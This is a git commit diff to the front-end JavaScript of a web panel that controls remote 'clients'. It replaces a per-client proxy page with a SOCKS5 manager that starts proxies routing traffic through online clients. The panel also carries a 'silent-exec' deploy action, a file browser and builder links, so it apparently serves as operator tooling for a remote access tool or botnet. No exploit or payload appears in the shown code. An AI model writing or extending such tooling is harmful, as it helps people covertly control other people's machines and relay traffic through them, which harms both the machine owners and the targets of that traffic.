add new socks5 update

This commit is contained in:
KingKDot
2026-03-15 16:14:50 -05:00
parent d4934e282d
commit de9b986972
21 changed files with 1087 additions and 717 deletions
-5
View File
@@ -776,11 +776,6 @@ menu.addEventListener("click", async (e) => {
closeMenu(clearContext);
return;
}
if (open === "proxy") {
window.open(`/${contextCard}/proxy`, "_blank", "noopener");
closeMenu(clearContext);
return;
}
if (open === "silent-exec") {
window.open(`/deploy?clientId=${contextCard}`, "_blank", "noopener");
closeMenu(clearContext);
+1
View File
@@ -20,6 +20,7 @@ if (host) {
"/metrics": "metrics-link",
"/logs": "logs-link",
"/scripts": "scripts-link",
"/socks5-manager": "socks5-link",
"/plugins": "plugins-link",
"/build": "build-link",
"/users": "users-link",
@@ -47,6 +47,12 @@ export function mountNav(host) {
class="inline-flex items-center gap-2 px-3 py-2 rounded-lg bg-slate-900/70 border border-slate-800 hover:bg-slate-800 text-slate-300 transition-colors"
><i class="fa-solid fa-code text-cyan-400"></i> Scripts</a
>
<a
href="/socks5-manager"
id="socks5-link"
class="inline-flex items-center gap-2 px-3 py-2 rounded-lg bg-slate-900/70 border border-slate-800 hover:bg-slate-800 text-slate-300 transition-colors"
><i class="fa-solid fa-network-wired text-sky-400"></i> Proxies</a
>
<a
href="/plugins"
id="plugins-link"
-194
View File
@@ -1,194 +0,0 @@
import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
const clientId = window.location.pathname.split("/")[1];
if (!clientId) {
alert("Missing clientId");
location.href = "/";
}
const clientLabel = document.getElementById("clientLabel");
const statusPill = document.getElementById("status-pill");
const portInput = document.getElementById("portInput");
const startBtn = document.getElementById("startBtn");
const stopBtn = document.getElementById("stopBtn");
const proxyInfo = document.getElementById("proxyInfo");
const proxyAddress = document.getElementById("proxyAddress");
const logContainer = document.getElementById("logContainer");
const toast =
(typeof window !== "undefined" && window.createToast) ||
(typeof window !== "undefined" && window.showToast) ||
null;
let ws = null;
let proxyRunning = false;
clientLabel.textContent = clientId;
function updateStatus(className, text) {
statusPill.className = `pill ${className}`;
statusPill.textContent = text;
}
function addLog(message, type = "info") {
const timestamp = new Date().toLocaleTimeString();
const colors = {
info: "text-slate-400",
success: "text-green-400",
error: "text-red-400",
warning: "text-yellow-400",
};
const color = colors[type] || colors.info;
const logEntry = document.createElement("div");
logEntry.className = color;
logEntry.textContent = `[${timestamp}] ${message}`;
logContainer.appendChild(logEntry);
logContainer.scrollTop = logContainer.scrollHeight;
// Keep only last 100 log entries
while (logContainer.children.length > 100) {
logContainer.removeChild(logContainer.firstChild);
}
}
function connect() {
const protocol = window.location.protocol === "https:" ? "wss:" : "ws:";
const wsUrl = `${protocol}//${window.location.host}/api/clients/${clientId}/proxy/ws`;
ws = new WebSocket(wsUrl);
ws.binaryType = "arraybuffer";
ws.onopen = () => {
console.log("Proxy control connected");
updateStatus("pill-online", "Connected");
addLog("Connected to proxy control interface", "success");
};
ws.onmessage = (event) => {
const msg = decodeMsgpack(event.data);
if (!msg) {
console.error("Failed to decode message");
return;
}
handleMessage(msg);
};
ws.onerror = (err) => {
console.error("WebSocket error:", err);
updateStatus("pill-offline", "Connection Error");
addLog("WebSocket connection error", "error");
};
ws.onclose = () => {
console.log("Proxy control disconnected");
updateStatus("pill-offline", "Disconnected");
addLog("Disconnected from proxy control", "warning");
setTimeout(() => connect(), 3000);
};
}
function send(msg) {
if (ws && ws.readyState === WebSocket.OPEN) {
ws.send(encodeMsgpack(msg));
}
}
function handleMessage(msg) {
console.log("Received:", msg);
switch (msg.type) {
case "ready":
addLog("Proxy control session ready", "success");
if (!msg.clientOnline) {
updateStatus("pill-offline", "Client Offline");
addLog("Target client is offline", "error");
}
break;
case "status":
if (msg.status === "offline") {
updateStatus("pill-offline", "Client Offline");
addLog("Target client went offline", "error");
setProxyStopped();
}
break;
case "command_result":
handleCommandResult(msg);
break;
default:
break;
}
}
function handleCommandResult(msg) {
if (msg.ok) {
if (msg.message && msg.message.includes("started")) {
const match = msg.message.match(/port (\d+)/);
const port = match ? match[1] : portInput.value;
setProxyRunning(port);
addLog(`Proxy started successfully on port ${port}`, "success");
if (toast) toast(`Proxy started on port ${port}`, "success");
} else if (msg.message && msg.message.includes("stopped")) {
setProxyStopped();
addLog("Proxy stopped successfully", "success");
if (toast) toast("Proxy stopped", "success");
} else {
addLog(msg.message || "Command completed", "success");
}
} else {
addLog(msg.message || "Command failed", "error");
if (toast) toast(msg.message || "Command failed", "error");
if (msg.message && msg.message.includes("already running")) {
// Proxy is running but we didn't know
setProxyRunning(portInput.value);
}
}
}
function setProxyRunning(port) {
proxyRunning = true;
startBtn.disabled = true;
stopBtn.disabled = false;
proxyInfo.classList.remove("hidden");
proxyAddress.textContent = `127.0.0.1:${port}`;
portInput.disabled = true;
}
function setProxyStopped() {
proxyRunning = false;
startBtn.disabled = false;
stopBtn.disabled = true;
proxyInfo.classList.add("hidden");
portInput.disabled = false;
}
function startProxy() {
const port = parseInt(portInput.value);
if (isNaN(port) || port < 1 || port > 65535) {
if (toast) toast("Invalid port number (1-65535)", "error");
return;
}
addLog(`Sending start command for port ${port}...`, "info");
send({ type: "proxy_start", port });
}
function stopProxy() {
addLog("Sending stop command...", "info");
send({ type: "proxy_stop" });
}
// Event listeners
startBtn.addEventListener("click", startProxy);
stopBtn.addEventListener("click", stopProxy);
// Initialize
connect();
// Clear initial placeholder
setTimeout(() => {
if (logContainer.children.length === 1 && logContainer.firstChild.textContent.includes("Waiting")) {
logContainer.innerHTML = "";
}
}, 1000);
@@ -0,0 +1,221 @@
const toast =
(typeof window !== "undefined" && window.createToast) ||
(typeof window !== "undefined" && window.showToast) ||
null;
const tableBody = document.getElementById("proxyTableBody");
const addProxyBtn = document.getElementById("addProxyBtn");
const addProxyModal = document.getElementById("addProxyModal");
const modalClientSelect = document.getElementById("modalClientSelect");
const modalPortInput = document.getElementById("modalPortInput");
const modalCancelBtn = document.getElementById("modalCancelBtn");
const modalAddBtn = document.getElementById("modalAddBtn");
let pollingInterval = null;
// Check if a clientId was provided via URL params (from context menu)
const urlParams = new URLSearchParams(window.location.search);
const preselectedClientId = urlParams.get("clientId") || "";
// ── Data fetching ─────────────────────────────────────────────────────────────
async function fetchProxies() {
try {
const res = await fetch("/api/proxy/list");
if (!res.ok) return [];
const data = await res.json();
return data.proxies || [];
} catch {
return [];
}
}
async function fetchClients() {
try {
const res = await fetch("/api/clients?page=1&pageSize=500");
if (!res.ok) return [];
const data = await res.json();
return (data.items || []).filter((c) => c.online);
} catch {
return [];
}
}
// ── Rendering ─────────────────────────────────────────────────────────────────
function formatTime(ts) {
if (!ts) return "-";
const d = new Date(ts);
return d.toLocaleString();
}
function renderTable(proxies) {
if (!proxies.length) {
tableBody.innerHTML = `
<tr>
<td colspan="7" class="px-4 py-12 text-center text-slate-500">
<div class="flex flex-col items-center gap-2">
<i class="fa-solid fa-network-wired text-3xl text-slate-600"></i>
<p class="text-slate-400">No active proxies</p>
<p class="text-xs">Click "Add Proxy" to start routing traffic through a client.</p>
</div>
</td>
</tr>`;
return;
}
tableBody.innerHTML = proxies
.map(
(p) => `
<tr class="border-b border-slate-800 hover:bg-slate-800/30 transition-colors">
<td class="px-4 py-3">
<div class="flex items-center gap-2">
<i class="fa-solid fa-desktop text-slate-400"></i>
<span class="font-mono text-sm">${escapeHtml(p.clientId)}</span>
</div>
</td>
<td class="px-4 py-3">
<span class="font-mono text-blue-300 font-semibold">${p.port}</span>
</td>
<td class="px-4 py-3">
<span class="inline-flex items-center gap-1.5 px-2 py-0.5 rounded-full text-xs font-medium bg-green-500/20 text-green-400 border border-green-500/30">
<span class="w-1.5 h-1.5 rounded-full bg-green-400"></span>
Active
</span>
</td>
<td class="px-4 py-3 text-slate-300">${p.connections}</td>
<td class="px-4 py-3">
<code class="text-xs text-slate-400 bg-slate-800 px-2 py-1 rounded">socks5://&lt;server&gt;:${p.port}</code>
</td>
<td class="px-4 py-3 text-slate-400 text-xs">${formatTime(p.createdAt)}</td>
<td class="px-4 py-3 text-right">
<button
class="stop-btn px-3 py-1.5 rounded-lg bg-red-800/60 hover:bg-red-700 text-red-100 border border-red-600 transition-colors text-xs"
data-port="${p.port}"
>
<i class="fa-solid fa-stop mr-1"></i>Stop
</button>
</td>
</tr>`,
)
.join("");
// wire up stop buttons
tableBody.querySelectorAll(".stop-btn").forEach((btn) => {
btn.addEventListener("click", () => {
const port = parseInt(btn.dataset.port);
stopProxy(port);
});
});
}
function escapeHtml(str) {
const div = document.createElement("div");
div.textContent = str;
return div.innerHTML;
}
// ── Actions ───────────────────────────────────────────────────────────────────
async function startProxy(clientId, port) {
try {
const res = await fetch("/api/proxy/start", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ clientId, port }),
});
const data = await res.json();
if (data.ok) {
if (toast) toast(`Proxy started on port ${port}`, "success");
} else {
if (toast) toast(data.message || "Failed to start proxy", "error");
}
refresh();
} catch (err) {
if (toast) toast("Network error", "error");
}
}
async function stopProxy(port) {
try {
const res = await fetch("/api/proxy/stop", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ port }),
});
const data = await res.json();
if (data.ok) {
if (toast) toast(`Proxy on port ${port} stopped`, "success");
} else {
if (toast) toast(data.message || "Failed to stop proxy", "error");
}
refresh();
} catch (err) {
if (toast) toast("Network error", "error");
}
}
async function refresh() {
const proxies = await fetchProxies();
renderTable(proxies);
}
// ── Modal ─────────────────────────────────────────────────────────────────────
function showModal() {
addProxyModal.classList.remove("hidden");
loadClientsForModal();
}
function hideModal() {
addProxyModal.classList.add("hidden");
}
async function loadClientsForModal() {
modalClientSelect.innerHTML = '<option value="">Loading...</option>';
const clients = await fetchClients();
if (!clients.length) {
modalClientSelect.innerHTML = '<option value="">No online clients</option>';
return;
}
modalClientSelect.innerHTML = clients
.map((c) => {
const label = [c.nickname, c.host, c.user, c.id]
.filter(Boolean)
.join(" | ");
const selected = c.id === preselectedClientId ? " selected" : "";
return `<option value="${escapeHtml(c.id)}"${selected}>${escapeHtml(label)}</option>`;
})
.join("");
}
addProxyBtn.addEventListener("click", showModal);
modalCancelBtn.addEventListener("click", hideModal);
addProxyModal.addEventListener("click", (e) => {
if (e.target === addProxyModal) hideModal();
});
modalAddBtn.addEventListener("click", () => {
const clientId = modalClientSelect.value;
const port = parseInt(modalPortInput.value);
if (!clientId) {
if (toast) toast("Select a client", "error");
return;
}
if (isNaN(port) || port < 1 || port > 65535) {
if (toast) toast("Invalid port (1-65535)", "error");
return;
}
hideModal();
startProxy(clientId, port);
});
// ── Init ──────────────────────────────────────────────────────────────────────
refresh();
pollingInterval = setInterval(refresh, 5000);
// Auto-open modal if a clientId was provided via URL
if (preselectedClientId) {
showModal();
}
-1
View File
@@ -30,7 +30,6 @@ const MENU_GROUPS = [
color: "text-blue-400",
items: [
{ label: "File Browser", icon: "fa-solid fa-folder-tree", icolor: "text-blue-400", open: "files" },
{ label: "SOCKS5 Proxy", icon: "fa-solid fa-network-wired", icolor: "text-sky-400", open: "proxy" },
{ label: "Execution", icon: "fa-solid fa-rocket", icolor: "text-cyan-400", open: "silent-exec", id: "menu-silent-exec", hidden: true },
],
},